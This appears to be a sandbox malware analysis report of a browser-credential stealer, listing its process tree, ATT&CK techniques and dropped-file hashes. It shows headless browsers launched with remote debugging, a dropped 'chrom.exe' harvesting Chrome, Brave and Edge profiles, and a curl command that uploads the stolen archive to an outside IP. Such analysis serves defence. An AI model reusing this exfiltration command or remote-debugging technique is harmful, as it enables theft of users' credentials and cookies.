    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:4884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3076
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x284,0x7ffd3029c188,0x7ffd3029c194,0x7ffd3029c1a0
    3⤵
    PID:4888
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2248,i,13215193470413825149,12424421368419767738,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:2
    3⤵
    PID:2348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2248,i,13215193470413825149,12424421368419767738,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2248,i,13215193470413825149,12424421368419767738,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3368 /prefetch:13
    3⤵
    PID:5188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2248,i,13215193470413825149,12424421368419767738,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3384
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2248,i,13215193470413825149,12424421368419767738,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5944
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2248,i,13215193470413825149,12424421368419767738,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2248,i,13215193470413825149,12424421368419767738,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:4220
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4768
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers chrome
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4840
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers chromex86
  2⤵
  - Executes dropped EXE
  PID:4800
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers brave
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers bravex86
  2⤵
  - Executes dropped EXE
  PID:3352
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers edge
  2⤵
  - Executes dropped EXE
  PID:4388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4140
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers edge
  2⤵
  - Executes dropped EXE
  PID:4292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5880
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers edge
  2⤵
  - Executes dropped EXE
  PID:3896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5248
- C:\Users\Admin\AppData\Local\Temp\chrom.exe
  C:\Users\Admin\AppData\Local\Temp\chrom.exe -o C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers edge
  2⤵
  - Executes dropped EXE
  PID:5596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5812
- C:\Windows\system32\curl.exe
  curl.exe -sS -X POST http://62.60.226.216:3000/upload -F file=@C:\Users\Admin\AppData\Local\Temp\TwskLPGo\log.zip
  2⤵
  PID:3908

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5308

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4752

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2248

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Authentication Process

T1556

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 c6a84dc0e2ed15ce44a4e0d3c865643f27d3a104c0485a260498fa481730b039
MD5 34401b6c3bd14ab1d8580f2aff19d01c
SHA1 9004025188db995c2f5301e69aee2fb2f38bb68b
SHA512 afcfcf4953e1b0c52b39a87f6894e88f4ba7d079ce44ec88ca49d473815c741a3f352209e1a730916505986b85845a057ce6ece125e2766d13b405e34aa4dc35
SSDEEP 12:dtXrcP+XXHeSoYdDOq+mkmkRAY8kaUYljE:dtbfTFdq7ekR8fljE
TLSH
T1B5138CFE6B911E76EAF010BC48CF9FB06335C108B856ED1769FCE200E610659100B368
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 1f3a14a81d93b227cf30de0b3238398aefb1c76eb447c15bfc02c41d5b37d7f9
MD5 40e1326bb988b2d7c002e1952ea95327
SHA1 8a2ede2b755a55a31a1d46de336ad004dc30d8ca
SHA512 8c2e060477748e09555e292d08bde59db07885fb726c06e0f210f3441910055c4a12e0ddd846aad268d6e05d656e0d45a4b33182676044802767adc392bbdfa3
SSDEEP 96:H9qpQBtfugtD7jW/VOLHKWolE7Klughok5jP:dqGfhD7USclsKlL5
TLSH
T1A444A6F71945DECAE729CEB05C41C238CD33A3221C59AE72F63984A216859D73128B76
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 d9a4ed24f5d4c2540bfbddde1868cb141b1eb92290d3476e4d823df63f73c89b
MD5 0e7c0ea10ac46e085f6f4f7b0c0b4525
SHA1 df5aacf238fa47132cd2b0e174582731834e7e20
SHA512 880fd7b9d2af32f58ea2a709917f2b002628645157851d9e4efea8be9400114764dc2437e1abb4c3b4e643f4083198e5994aa8fe2303339128ac147743357ffb
SSDEEP 768:/UfDPLSgcRUv+e4mfDPLSgcRUv+C4U2G4IG45G4xUfDPLSgcRUv+T49UfDPLSgcE:szKGxGEGGJ41zdx0bC
TLSH
T1A5165CA24F287542EA85EFB0BBCDED1C3D7123D6ECD35882E122927949E1FC11B8515E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 ea5a3d5d5c7df1d2d7ab36200e4af68b2d0a87d18ad84cae6250f188c417f75e
MD5 783550dfc95bd64822fbaf12da1f3e71
SHA1 0c8866c7304d68262a2de431c1beaa33ed96af5b
SHA512 7a6afc8223ed3613d1151eddca7632515ce94036bddc8ef6e67a691cd9984e8328ffec8a7a45209176681bff5aaaa1f796f11b907235c25e82d6c4e5c7a93da4
TLSH
T1C6318BF793A4857E8A1192F4DB11AE1FCE7D0524132C3C6688E4AE1B83F2972D10079F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 141d2bdff26b9a3cce070d6502c3500a63995ad11dfaeb64ebe2dc86076c5eb4
MD5 75471f2b5a48c825adfcc799381c1542
SHA1 0021dabbeb496d95d50fb624de39f063de648b2d
SHA512 27ec41656cf3440a1ec104e986da20195a2fb6cd6ba8e3cc8fb4d661db15eed0864a67362f28bea3cf209aaafe68de62e69eb1ee0da70e14ea308d187a0b6871
SSDEEP 192:dR7V7KEv7+T5PRplO9pHsb+WNnnfdXte62fw8kVyIsnAUgE:dR7VOgAXwTwfd92fpgE
TLSH
T15842B62FAD14793B6CDBD219FAA67B53E3F5102122902E84E7FC8A2C15E79CD2217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 fb377604f2eff03c4677a647c8c94a33496bb6a03f2ca3b617f73d6d02079dca
MD5 c879080c9ba72d4bd02fa06950d0d4da
SHA1 51eeebb8e8d90b5930e9e2aca5c65a6a5e11bd40
SHA512 b3049b1fedf12cf8e69c46588916533fc10ffee805ef2066c1e5abada55bbd8178d890f43ff726bdcb387c44a2df1d11d1ba3d3d6ee4537f088d19751b4a55f8
SSDEEP 192:eLE4K6Xn7KxkXqK4I40pUZNCgVLHrKHfFKslEiTtXzKD/ML+ErUkKNxn50i4S+h:uEjEn7KxkXqKf/pUZNCgVLH2HfgslLth
TLSH
T11532C727A48E9E7F4FD8E51CDC477F4B6CB502567378082896FB9C0403AA78A214A1A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 00667ae6ff2f9088591a4a4388aff119328a324f963d2338c7afe802a7db7303
MD5 91f1ac9599f5c6ba9a6388388a85c46b
SHA1 15f061a22324a302e0e22fe9a6d66abdef11ddca
SHA512 1b6d437d75c3098ed304835e352c258c9bbff0e0cc47909d1f2b7532ef8022a1243d9491f332ce05db566b3e4dfceafe7859cea6daec1dc764cefef6eb159f40
TLSH
T18AA002D142CC44D1EE1A82B8E0A14A5536B359151A52ABC3D4D284C9A86B2E04502554
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 1bbb2c6f358c6ada0eda5dddc108e3b1bfc48ce5535d60491f63e30e0c821723
MD5 9da5b40ae86e592a4ed5b8a8e62fbb4a
SHA1 dc7ae8322f2e39826bdb551e0cde4d1f13fe3e43
SHA512 9023cbf7cf44f101c56c88bc25b60187c958699f88893f224fefd5b28ff287e02d3e75ea21381ef6cfe7d716fc24a36b18e4ffcc8eb0aea22c8cfdb0e59948a2
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnWebGPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 747d419d45bf81a4f157ac78c3edcc50d2f43f6f020628d7f7dbd0910d9bf722
MD5 4242d20ca51cdba8a65159c99be97ee0
SHA1 fbb3544cb47cd538ea2384f63fcedde4b084e368
SHA512 642ee5a545abc77f469cf1b11fe4c8166ff82df91818bd3d487bb6061965146530015cf95d2fff6deb1e340850765fa4b26357422ec840844d6ead290f04c9e4
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2Orn/ZVumgmnF:1nbZeMrv/hGtr/GmnF
TLSH
T123D3864B3A743002EDE5DA721CE051BB5E3CB16D4F55A5D428B620688EF2963B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f00797cd-0352-4a30-85bd-fc0d8458c7e7.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\f00797cd-0352-4a30-85bd-fc0d8458c7e7.tmp
Size 11KB
SHA256 1f8ef76685133c8457242b21d9d3a8284d22370abbd713c22bdcf4b91e1fad51
MD5 e52a6a349ad0102192ba5828f6de9a4d
SHA1 077727e6628a8f9e566cfd04e3982764aaa63ab5
SHA512 15404a47e4b17ee7649130b156ec0cbab6078165e26e2d542a93e319b1341dd591f199a8817b3a53aa7ec838828ff2386af8d0604903d0a99b2a7f27cf939d50
SSDEEP 192:dR7V7KEv7+TAPRp2O9pHsb+WNnnfdjte62fwOkVyIsnAUge:dR7VOg3XtTwfdB2fNge
TLSH
T11D32A62FAE14793B6CDBD31AFAA67753E7F5102121902E84E6FC8A2C15E79CC2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 248e7b3d061af76e7f3a836a1ba204544193428b5ad80993924dbbfb64f780f3
MD5 bcbfed754894ebb6e42699a7f4dd6fc7
SHA1 2a6603a36c7eb259d741adc2ce6b894a27ad2ced
SHA512 b6a1657a6c187aee5d0fdc1ddc7c716bd95a3c36eafdb45887f32118f8eb011253ee1884428bc5c5c2695a4f13c49db7424aa416cb13346231ff15a73836249d
SSDEEP 96:mC0d+Ar2aetJRxW2rgj0+f+U+/EfezeRDotok5cVDHB6JGyvTNm6zjgv+PEhiv4a:mC0Nr7OJRPrL9/EtDUDWh9Imgjgv+shM
TLSH
T18AA12932A47E6CB749B38545F5963B07CFA4716B9A21BF84E9DD2B0C14A70DC1382A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 129KB
SHA256 6a8d149b8bbfdabb18d46be4d1a10356515ce80f3dece790e9878a84d3b75d82
MD5 3cd76477618732bd240d44fef32d07b0
SHA1 e46196a40babfc7b5f4cf8a0d4d121f88c1ec98d
SHA512 815c0c89e39834eb137b64665f7f11ee4fe7c5100f0549761b6ec85ae045a9b9155ea467b54577df8b186652097077f7404df85109136e223f76fb7151d978b4
SSDEEP 3072:THuxZQ0G+iCgRHwwv5kAyTW0s0VC1mVKyW8L4FJeOQaxDxjoE0uITCI7K:siCgRH3aNVSUWkKOaToE0uImD
TLSH
T10ED312F29D6705BBACFFB9ECFB432013096895521E79FDA40CC917444DB2BAD8785222
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 93b1b894de2d7c223e9f36d1ccf1ceda6bd0933defdb2b479002d479f2883848
MD5 143477b96c1bc6968e7fd1601557574f
SHA1 be22d1bca7555e6f30ab06058c180d79c6c9d275
